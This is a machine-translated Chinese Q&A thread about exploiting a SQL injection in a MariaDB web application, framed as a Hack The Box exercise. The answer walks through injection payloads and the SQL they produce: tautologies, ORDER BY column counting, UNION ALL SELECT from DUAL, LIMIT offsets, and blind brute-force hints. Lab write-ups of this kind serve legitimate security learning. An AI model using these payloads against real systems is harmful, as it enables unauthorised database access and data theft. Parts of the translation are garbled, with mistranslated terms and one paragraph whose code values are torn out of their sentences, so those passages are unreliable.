MariaDb SQL注入

Question

我正在尝试（合法地）利用具有SQLi漏洞的MariaDb数据库。

我在这里发现了漏洞…

/?o=1&page=app

将o=*是脆弱的，并产生下列错误…

DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '5' or dest like '1'') LIMIT 10' at line 1

我正在使用Burp Suite，并采用了以下语法，该语法似乎更接近商标，但仍会产生语法错误。

我认为它离商标更近了，因为错误只会吐出我介绍的查询，而不是“额外”字段：'5' or dest like '1'') LIMIT 10'。

我假设这是原始查询的一部分，因为1它包含在内，当我使用其他随机字符串进行测试时，它仍然为真。

我从页面提示中知道的管理员密码哈希值是uid 1。

这个查询我缺少什么？

SELECT Password FROM mysql.user WHERE (uid = '1' or dest like '%')-- ') LIMIT 10

编辑：这是在Hack The Box上完成的，所以没有讨厌的非法事情发生。

Answer 1

编辑：这是在Hack The Box上完成的，所以没有讨厌的非法事情发生。

好吧，那就找点乐子吧。

当我查看错误消息时

调试信息：您的SQL语法有错误。检查与您的MariaDB服务器版本相对应的手册以获取正确的语法，以'1'') LIMIT 10'在第1行附近使用‘5’或dest

我假设应用程序中的查询和代码或多或少都像这种伪方式，@o实际上是MySQL用户变量。

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10

我将使用SQL Fiddle 空间模拟SQL注入测试，并更多地访问其他表。

您可以测试您的注射剂，1' OR 1 = 1#或者1' OR 1 = 1--两者都可以工作，并且在1用作输入时应该给您相同的结果。这是因为MariaDB自动将其他数据库的类型转换为您可能需要使用更严格的版本的类型1' OR '1' = '1#

哪个应该产生

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10

要么

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10

然后，因为您在应用程序中看到错误，所以可以ORDER BY 1用来检查选择了多少列，并递增数字直到出现错误。

错误：ER_BAD_FIELD_ERROR：“ order子句”中的未知列“ 2”

注入

1' ORDER BY 1# 要么 1' ORDER BY 1--

这意味着在结果集中的第一列上进行排序，而 不是 对1文字进行排序。

产生

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10

要么

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10

当您知道这些列时，可以UNION用来进入其他表。使用NULL，如果你并不需要所有列。

注射

1' UNION ALL SELECT NULL FROM DUAL#

请注意，这DUAL是MariaDB，MySQL和Oracle中“虚拟”不存在的表，如果您可以查询该“表”，则意味着从技术上讲您也可以进入其他表。

生成的SQL

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10

而且，如果该网页被设计为“详细”页面，在该页面上总是可以看到一条记录，则需要LIMIT 1, 1在注入中添加一个。

如果Web应用程序中没有可见的错误，您应该只能够通过盲目的SQL注入盲目强行攻击，并查看应用程序的工作方式。在尝试强行使用已使用的列号之前，
还请尝试诸如或非常大的数字（例如最大INT值（有符号）或（无符号）），以便您了解应用程序如何处理找不到的记录。因为在数据类型上不太可能具有id
或那么大的数字，因为如果给出了最后一个数字，应用程序将停止工作。如果您仍然获得这些数字较高的记录，请改用数据类型的最大值。?o=0``?o=NULL``?o=2147483647``?o=4294967295``0``INT``BIGINT

对于第1列，相同的结果ID o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

对于第2列，该列将发生错误，但很可能会出现错误页面或一条消息，提示未找到该记录。
或甜美的HTTP 404（未找到）错误状态。
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

LIMIT不使用时ORDER BY可能会遇到的一个问题是获得相同记录的机会，因为SQL标准已定义SQL表/结果集在不使用时是
无序的ORDER BY

因此，理想情况下，您需要继续使用ORDER BY 1暴力破解。

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#

和

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#

对数据库的支持ORDER BY 1比我最初想到的要好，因为它可以在MySQL，MariaDB，SQL
Server（MSSQL）和PostgreSQL中工作。

还有ORDER BY 1一个SQL 92功能，该功能已在SQL 99中删除。
因此，实际上，如果SQL数据库ORDER BY 1此时要遵循SQL标准，则不应执行annymore。

SQL 92 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
      | <unsigned integer> # <- here it is

 <ordering specification> ::= ASC | DESC

vs SQL 1999 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
                        # <- missing

 <ordering specification> ::= ASC | DESC